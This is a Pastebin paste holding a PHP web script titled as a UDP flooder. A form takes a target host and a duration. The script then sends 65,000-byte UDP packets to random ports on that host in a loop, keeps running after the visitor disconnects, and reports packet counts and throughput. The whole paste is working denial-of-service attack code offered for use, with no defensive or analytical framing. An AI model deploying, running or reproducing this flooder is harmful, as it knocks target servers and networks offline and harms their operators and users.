Guest User

Untitled

a guest
Apr 27th, 2018
79
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.83 KB | None | 0 0
  1. <html>
  2. <BODY OnKeyPress="GetKeyCode();" text=#000CC cellSpacing=0 borderColorDark=#666666 cellPadding=5 width="100%" bgcolor=#000000 borderColorLight=#c0c0c0 border=1 bordercolor="#C0C0C0"><tr><th width="101%" height="15" nowrap bordercolor="#C0C0C0" valign="top" colspan="2"><center><font color="#0033FF"><pre>
  3. <tr><td>
  4. <center>
  5. <?php
  6. //UDP
  7. if(isset($_GET['host'])&&is_numeric($_GET['time'])){
  8. $pakits = 0;
  9. ignore_user_abort(TRUE);
  10.  
  11.  
  12. $exec_time = $_GET['time'];
  13.  
  14. $time = time();
  15. //print "Started: ".time('h:i:s')."<br>";
  16. $max_time = $time+$exec_time;
  17.  
  18. $host = $_GET['host'];
  19.  
  20. for($i=0;$i<65000;$i++){
  21. $out .= 'X';
  22. }
  23. while(1){
  24. $pakits++;
  25. if(time() > $max_time){
  26. break;
  27. }
  28. $rand = rand(1,65000);
  29. $fp = fsockopen('udp://'.$host, $rand, $errno, $errstr, 5);
  30. if($fp){
  31. fwrite($fp, $out);
  32. fclose($fp);
  33. }
  34. }
  35. echo "<br><b>The UDP flood</b><br>completed with $pakits (" . round(($pakits*65)/1024, 2) . " MB) packets averaging ". round($pakits/$exec_time, 2) . " packets per second \n";
  36. echo '<br><br>
  37. <form action="'.$surl.'" method=GET>
  38. <input type="hidden" name="act" value="phptools">
  39. Host: <input type=text name=host value=IP>
  40. Length (seconds): <input type=text name=time value=15>
  41. <input type=submit value=Go></form>';
  42. }else{ echo '<br><b>Mooky da kid</b><br>
  43. <form action=? method=GET>
  44. <input type="hidden" name="act" value="phptools">
  45. Host: <br><input type=text name=host ><br>
  46. Length (seconds): <br><input type=text name=time value=10><br>
  47. <input type=submit value=Go></form>';
  48. }
  49. ?>
  50. </tr></td>
  51. </body>
  52. </html>
Add Comment
Please, Sign In to add comment